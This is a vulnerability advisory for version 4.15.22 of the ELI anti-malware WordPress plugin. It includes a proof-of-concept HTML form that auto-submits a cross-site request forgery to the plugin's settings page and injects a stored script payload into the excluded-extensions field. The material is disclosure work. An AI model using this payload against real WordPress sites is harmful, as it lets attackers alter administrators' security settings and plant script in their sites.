WordPress Anti-Malware and Brute-Force Security by ELI Plugin Multiple Security Vulnerabilities

Bugtraq ID:	74832
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 25 2015 12:00AM
Updated:	May 25 2015 12:00AM
Credit:	James Hooker
Vulnerable:	WordPress Anti-Malware and Brute-Force Security by ELI 4.15.22
Not Vulnerable:	WordPress Anti-Malware and Brute-Force Security by ELI 4.15.23

WordPress Anti-Malware and Brute-Force Security by ELI Plugin Multiple Security Vulnerabilities

An attacker can exploit HTML-injection issue through a browser. To exploit the cross-site request-forgery issue, the attacker must entice an unsuspecting victim into visiting a malicious site.

The following example data is available:

<form id="form" method="POST" action="http://www.example.com/wp-admin/admin.php?page=GOTMLS-settings>
<input type="hidden" name="scan_type" value="Complete Scan"/>
<input type="hidden" name="check[]" value="potential"/>
<input type="hidden" name="scan_what" value="2"/>
<input type="hidden" name="scan_depth" value="1"/>
<input type="hidden" name="exclude_ext" value='png,jpg,jpeg,gif,bmp,tif,tiff,psd,fla,flv,mov,mp3,exe,zip,pdf,css,pot,po,mo,so,doc,docx,svg,ttf"><script>alert(1)</script>'/>
<input type="hidden" name="exclude_dir" value=""/>
<input type="hidden" name="skip_quarantine" value="1"/>
</form>
<script>
document.getElementById("form").submit();
</script>

WordPress Anti-Malware and Brute-Force Security by ELI Plugin Multiple Security Vulnerabilities

References:

• Anti-Malware and Brute-Force Security by ELI 4.15.22, Persistent XSS (g0blin Research)
  
• Anti-Malware and Brute-Force Security by ELI Changelog (WordPress)
  
• WordPress Homepage (WordPress)
  
• Anti-Malware and Brute-Force Security by ELI Product Page (WordPress)